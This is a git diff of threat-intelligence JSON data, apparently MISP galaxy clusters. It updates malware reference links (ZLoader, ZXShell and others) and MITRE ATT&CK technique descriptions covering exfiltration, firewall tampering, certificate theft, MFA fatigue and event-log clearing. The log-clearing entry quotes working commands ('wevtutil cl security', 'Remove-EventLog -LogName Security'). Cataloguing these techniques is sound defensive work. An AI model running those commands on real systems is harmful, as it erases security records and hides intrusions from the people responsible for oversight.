"https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/", "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/zloader-campaigns-at-a-glance", "https://clickallthethings.wordpress.com/2020/09/21/zloader-xlm-update-macro-code-and-behavior-change/", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://malware.pizza/2020/05/12/evading-av-with-excel-macros-and-biff8-xls/", - "https://blog.malwarebytes.com/threat-analysis/2020/11/malsmoke-operators-abandon-exploit-kits-in-favor-of-social-engineering-scheme/", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/", - "https://labs.k7computing.com/?p=22458", - "https://blogs.quickheal.com/zloader-entailing-different-office-files/", - "https://int0xcc.svbtle.com/dissecting-obfuscated-deloader-malware", - "https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/", - "https://www.fortinet.com/blog/threat-research/the-curious-case-of-an-unknown-trojan-targeting-german-speaking-users.html", - "https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/", - "https://blag.nullteilerfrei.de/2020/05/24/zloader-string-obfuscation/", - "https://www.welivesecurity.com/2022/04/13/eset-takes-part-global-operation-disrupt-zloader-botnets/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", - "https://www.forcepoint.com/blog/x-labs/invoicing-spam-campaigns-malware-zloader", - "https://web.archive.org/web/20200929145931/https://www.comae.com/posts/2020-03-13_yet-another-active-email-campaign-with-malicious-excel-files-identified/", - "https://twitter.com/ffforward/status/1324281530026524672", - "https://www.lac.co.jp/lacwatch/people/20201106_002321.html", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html", + "https://securityliterate.com/chantays-resume-investigating-a-cv-themed-zloader-malware-campaign/", + "https://www.crowdstrike.com/blog/falcon-overwatch-uncovers-ongoing-night-spider-zloader-campaign/", + "https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/", + "https://www.proofpoint.com/us/blog/threat-insight/zloader-loads-again-new-zloader-variant-returns", + "https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries", + "https://twitter.com/VK_Intel/status/1294320579311435776", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", "https://securityintelligence.com/zeus-sphinx-pushes-empty-configuration-files-what-has-the-sphinx-got-cooking/", - "https://www.sentinelone.com/labs/hide-and-seek-new-zloader-infection-chain-comes-with-improved-stealth-and-evasion-mechanisms/", - "https://www.hornetsecurity.com/en/threat-research/zloader-email-campaign-using-mhtml-to-download-and-decrypt-xls/" + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", + "https://www.youtube.com/watch?v=QBoj6GB79wM", + "https://twitter.com/ffforward/status/1324281530026524672", + "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://www.fortinet.com/blog/threat-research/the-curious-case-of-an-unknown-trojan-targeting-german-speaking-users.html", + "https://www.welivesecurity.com/2022/04/13/eset-takes-part-global-operation-disrupt-zloader-botnets/", + "https://unit42.paloaltonetworks.com/api-hammering-malware-families/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489", + "https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/", + "https://johannesbader.ch/blog/the-dga-of-zloader/", + "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", + "https://aaqeel01.wordpress.com/2021/10/18/zloader-reversing/", + "https://www.youtube.com/watch?v=mhX-UoaYnOM", + "https://www.lac.co.jp/lacwatch/people/20201106_002321.html", + "https://resources.malwarebytes.com/files/2020/05/The-Silent-Night-Zloader-Zbot_Final.pdf", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://blog.malwarebytes.com/threat-analysis/2020/11/malsmoke-operators-abandon-exploit-kits-in-favor-of-social-engineering-scheme/", + "https://securityintelligence.com/posts/zeus-sphinx-trojan-awakens-amidst-coronavirus-spam-frenzy/", + "https://www.bleepingcomputer.com/news/security/banking-malware-spreading-via-covid-19-relief-payment-phishing/", + "https://research.checkpoint.com/2022/can-you-trust-a-files-digital-signature-new-zloader-campaign-exploits-microsofts-signature-verification-putting-users-at-risk/", + "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://web.archive.org/web/20200929145931/https://www.comae.com/posts/2020-03-13_yet-another-active-email-campaign-with-malicious-excel-files-identified/", + "https://info.phishlabs.com/blog/zloader-dominates-email-payloads-in-q1", + "https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex" ], "synonyms": [ "DELoader", @@ -49546,8 +52169,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zlob", - "https://blag.nullteilerfrei.de/2020/08/23/programmatically-nop-the-current-selection-in-ghidra/", - "https://en.wikipedia.org/wiki/Zlob_trojan" + "https://en.wikipedia.org/wiki/Zlob_trojan", + "https://blag.nullteilerfrei.de/2020/08/23/programmatically-nop-the-current-selection-in-ghidra/" ], "synonyms": [], "type": [] @@ -49576,8 +52199,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zumanek", - "https://www.welivesecurity.com/2021/12/15/dirty-dozen-latin-america-amavaldo-zumanek/", - "https://www.welivesecurity.com/br/2018/01/17/zumanek-malware-tenta-roubar-credenciais-de-servicos/" + "https://www.welivesecurity.com/br/2018/01/17/zumanek-malware-tenta-roubar-credenciais-de-servicos/", + "https://www.welivesecurity.com/2021/12/15/dirty-dozen-latin-america-amavaldo-zumanek/" ], "synonyms": [], "type": [] @@ -49619,37 +52242,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zxshell", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-keystone", - "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf", - "https://risky.biz/whatiswinnti/", - "https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox", - "https://www.secureworks.com/research/threat-profiles/bronze-union", - "https://mp.weixin.qq.com/s/K1uBLGqD8kgsIp1yTyYBfw", - "https://attack.mitre.org/groups/G0001/", - "https://blogs.cisco.com/security/talos/opening-zxshell", - "https://lab52.io/blog/apt27-rootkit-updates/", - "https://attack.mitre.org/groups/G0096", - "https://unit42.paloaltonetworks.com/atoms/iron-taurus/", - "https://meltx0r.github.io/tech/2019/09/19/emissary-panda-apt.html", "https://content.fireeye.com/apt-41/rpt-apt41", + "https://attack.mitre.org/groups/G0096", + "https://lab52.io/blog/apt27-rootkit-updates/", + "https://meltx0r.github.io/tech/2019/09/19/emissary-panda-apt.html", + "https://mp.weixin.qq.com/s/K1uBLGqD8kgsIp1yTyYBfw", + "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-keystone", + "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-GuPan.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-union", "https://github.com/smb01/zxshell", - "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-GuPan.pdf" + "https://blogs.cisco.com/security/talos/opening-zxshell", + "https://attack.mitre.org/groups/G0001/", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://unit42.paloaltonetworks.com/atoms/iron-taurus/", + "https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox", + "https://risky.biz/whatiswinnti/" ], "synonyms": [ "Sensocode" ], "type": [] }, - "related": [ - { - "dest-uuid": "5b9dc67e-bae4-44f3-b58d-6d842a744104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "23920e3b-246a-4172-bf9b-5e9f90510a15", "value": "ZXShell" }, @@ -49658,8 +52272,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zxxz", - "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/", - "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html" + "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", + "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/" ], "synonyms": [ "MuuyDownloader" @@ -49684,5 +52298,5 @@ "value": "Zyklon" } ], - "version": 15976 + "version": 17779 } diff --git a/clusters/mitre-attack-pattern.json b/clusters/mitre-attack-pattern.json index d035b35..ca66d8d 100644 --- a/clusters/mitre-attack-pattern.json +++ b/clusters/mitre-attack-pattern.json @@ -639,7 +639,6 @@ "http://msdn.microsoft.com/en-us/library/aa376977", "https://attack.mitre.org/techniques/T1547/001", "https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/", - "https://capec.mitre.org/data/definitions/270.html", "https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry", "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", "https://technet.microsoft.com/en-us/sysinternals/bb963902" @@ -834,9 +833,7 @@ "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1574/007", - "https://capec.mitre.org/data/definitions/13.html", - "https://capec.mitre.org/data/definitions/38.html" + "https://attack.mitre.org/techniques/T1574/007" ] }, "related": [ @@ -869,7 +866,6 @@ "http://msdn.microsoft.com/en-us/library/ms682425", "http://msdn.microsoft.com/en-us/library/ms687393", "https://attack.mitre.org/techniques/T1574/008", - "https://capec.mitre.org/data/definitions/159.html", "https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120", "https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN" ] @@ -1457,7 +1453,7 @@ "value": "LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" }, { - "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ", + "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.(Citation: copy_cmd_cisco)\n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ", "meta": { "external_id": "T1048.003", "kill_chain": [ @@ -1473,11 +1469,13 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows" + "Windows", + "Network" ], "refs": [ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", - "https://attack.mitre.org/techniques/T1048/003" + "https://attack.mitre.org/techniques/T1048/003", + "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/C_commands.html#wp1068167689" ] }, "related": [ @@ -1535,7 +1533,6 @@ "refs": [ "http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf", "https://attack.mitre.org/techniques/T1036/005", - "https://capec.mitre.org/data/definitions/177.html", "https://docs.docker.com/engine/reference/commandline/images/", "https://twitter.com/ItsReallyNick/status/1055321652777619457" ] @@ -1550,7 +1547,7 @@ "value": "Match Legitimate Name or Location - T1036.005" }, { - "description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. ", + "description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. [Non-Standard Port](https://attack.mitre.org/techniques/T1571)).(Citation: change_rdp_port_conti)", "meta": { "external_id": "T1562.004", "kill_chain": [ @@ -1568,7 +1565,8 @@ "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1562/004" + "https://attack.mitre.org/techniques/T1562/004", + "https://twitter.com/TheDFIRReport/status/1498657772254240768" ] }, "related": [ @@ -1581,7 +1579,7 @@ "value": "Disable or Modify System Firewall - T1562.004" }, { - "description": "Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity.(Citation: Expel IO Evil in AWS)\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.", + "description": "Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity, or remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.", "meta": { "external_id": "T1562.007", "kill_chain": [ @@ -1596,7 +1594,8 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1562/007", - "https://expel.io/blog/finding-evil-in-aws/" + "https://expel.io/blog/finding-evil-in-aws/", + "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/" ] }, "related": [ @@ -1683,6 +1682,36 @@ "uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "value": "Windows Management Instrumentation Event Subscription - T1546.003" }, + { + "description": "Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as pastebin[.]com, are commonly used by developers to share code and other information. \n\nText storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)\n\n**Note:** This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlight access to code repositories via APIs.", + "meta": { + "external_id": "T1567.003", + "kill_chain": [ + "mitre-attack:exfiltration" + ], + "mitre_data_sources": [ + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1567/003", + "https://web.archive.org/web/20201107203304/https://www.echosec.net/blog/what-is-pastebin-and-why-do-hackers-love-it" + ] + }, + "related": [ + { + "dest-uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807", + "type": "subtechnique-of" + } + ], + "uuid": "ba04e672-da86-4e69-aa15-0eca5db25f43", + "value": "Exfiltration to Text Storage Sites - T1567.003" + }, { "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", "meta": { @@ -1736,7 +1765,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1574/009", - "https://capec.mitre.org/data/definitions/38.html", "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree", "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464", "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/", @@ -2128,8 +2156,7 @@ "Linux" ], "refs": [ - "https://attack.mitre.org/techniques/T1037", - "https://capec.mitre.org/data/definitions/564.html" + "https://attack.mitre.org/techniques/T1037" ] }, "uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", @@ -2155,8 +2182,7 @@ "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1039", - "https://capec.mitre.org/data/definitions/639.html" + "https://attack.mitre.org/techniques/T1039" ] }, "uuid": "ae676644-d2d2-41b7-af7e-9bed1b55898c", @@ -2925,7 +2951,6 @@ "http://msdn.microsoft.com/en-us/library/aa376977", "https://attack.mitre.org/techniques/T1547", "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order", - "https://capec.mitre.org/data/definitions/564.html", "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx", "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx", "https://technet.microsoft.com/en-us/sysinternals/bb963902", @@ -2966,7 +2991,7 @@ "value": "Remotely Track Device Without Authorization - T1468" }, { - "description": "Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)\n\nAuthentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names.(Citation: Medium Certified Pre Owned)\n\nAbusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.\n\nAdversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned)", + "description": "Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)\n\nAuthentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names.(Citation: Medium Certified Pre Owned)\n\nAbusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.\n\nAdversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned)", "meta": { "external_id": "T1649", "kill_chain": [ @@ -2994,7 +3019,8 @@ "https://github.com/TheWover/CertStealer", "https://o365blog.com/post/deviceidentity/", "https://posts.specterops.io/certified-pre-owned-d95910965cd2", - "https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf" + "https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf", + "https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming" ] }, "uuid": "7de1f7ac-5d0c-4c9c-8873-627202205331", @@ -3078,7 +3104,6 @@ "https://attack.mitre.org/techniques/T1558", "https://blog.stealthbits.com/detect-pass-the-ticket-attacks", "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/", - "https://capec.mitre.org/data/definitions/652.html", "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf", "https://docs.microsoft.com/windows-server/administration/windows-commands/klist", "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285", @@ -3185,7 +3210,7 @@ "value": "OS-vendor provided communication channels - T1390" }, { - "description": "Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.\n\nAdversaries in possession credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account.\n\nIn some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)", + "description": "Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.\n\nAdversaries in possession of credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account.\n\nIn some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)", "meta": { "external_id": "T1621", "kill_chain": [ @@ -3248,7 +3273,7 @@ "value": "Rogue Wi-Fi Access Points - T1465" }, { - "description": "Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\nThe event logs can be cleared with the following utility commands:\n\n* wevtutil cl system\n* wevtutil cl application\n* wevtutil cl security\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "description": "Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\nThe event logs can be cleared with the following utility commands:\n\n* wevtutil cl system\n* wevtutil cl application\n* wevtutil cl security\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001). For example, adversaries may use the PowerShell command Remove-EventLog -LogName Security to delete the Security EventLog and after reboot, disable future logging. Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging)", "meta": { "external_id": "T1070.001", "kill_chain": [ @@ -3266,7 +3291,8 @@ "https://attack.mitre.org/techniques/T1070/001", "https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog", "https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil", - "https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx" + "https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx", + "https://ptylu.github.io/content/report/report.html?report=25" ] }, "related": [ @@ -3570,7 +3596,7 @@ "value": "Extra Window Memory Injection - T1055.011" }, { - "description": "Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)\n\nCreating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)).", + "description": "Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)\n\nCreating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) before being used to create a process.\n\nWhile this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001), 